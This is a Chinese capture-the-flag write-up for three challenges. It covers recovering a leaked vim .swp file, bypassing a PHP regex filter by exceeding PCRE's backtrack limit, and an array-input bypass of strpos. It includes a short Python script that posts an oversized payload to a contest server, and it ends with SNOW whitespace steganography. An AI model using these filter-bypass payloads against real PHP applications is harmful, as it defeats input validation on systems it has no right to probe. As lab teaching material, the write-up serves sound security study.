gift php plus
這題就比較有意思了(個屁)
首先提示 Do you know .swp file?
然後用WangYiHang大佬的工具掃一下後台,找到.index.php.swp這個文件,然後扔到Linux里用vi恢復
vi -r 文件名 #swp文件是vi不正常登出產生的,用-r可以恢復
然後審計代碼
<?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
if(!areyouok($greeting)){
if(strpos($greeting,'Merry Christmas')!==false){
echo 'Merry Christmas. '.'flag{xxxxxx}';
}else{
echo 'Do you know .swp file?';
}
}else{
echo 'Do you know PHP?';
}
}
?>
代碼很簡單,繞過條件也很清晰
1.傳入不為陣列
2.不匹配 /Merry.*Christmas/is
這個正則
3.strpos($greeting,'Merry Christmas')
不等於fales
也就是說傳入的參數要帶有Merry Christmas
又要不滿足/Merry.*Christmas/
這個正則,一開始也是毫無頭緒,後來在大佬的提示下,知道了利用php的PCRE回溯次數限制繞過這個正則。
具體的因為php的回溯是有上限的
var_dump(ini_get('pcre.backtrack_limit'));//1000000
如果超過這個上限就返回一個false。也是就說,在匹配到*號時,他會匹配任意個字符,那麼我們傳入1000000個字符,然後他匹配全部的字符後,要開始驗證下一個匹配,這個體力就是C,然後他開始從最後一個往前回溯,這裡有1000000個字符+Christmas然後當他回溯1000000個後沒匹配到C那麼他就返回一個False。就饒過了。
這裡在寫的時候還碰到了一個問題,就是strpos()
函式,當Merry Christmas+100w個字符傳入後,strpos()應該匹配的是他的位置,然而Merry Christmas他在首位所以應該返回0,在弱比較下0應該等於false,想了很久才發現這裡是強比較。嗯wcsl。。。
附一個繞過腳本
import requests
url='http://106.75.66.87:8888/'
longStr=''
for i in range(1000000):
longStr+='a'
greeting={
'greeting':'Merry Christmas'+longStr
}
res = requests.post(url=url,data=greeting)
print(res.text)
gift php
這裡的代碼和上面的式樣的,就是沒有判斷陣列,strpos()碰到陣列的時候會返回false,所以傳一個陣列即可繞過
gift
也是和群里的大佬交流後得到提示,這裡用的是html隱寫技術,snow隱寫,題目提示鑰匙上刻了題目名呢。發現key就是title gift。然後丟到snow解密網站揭秘一下就iu好了。
snow解密連接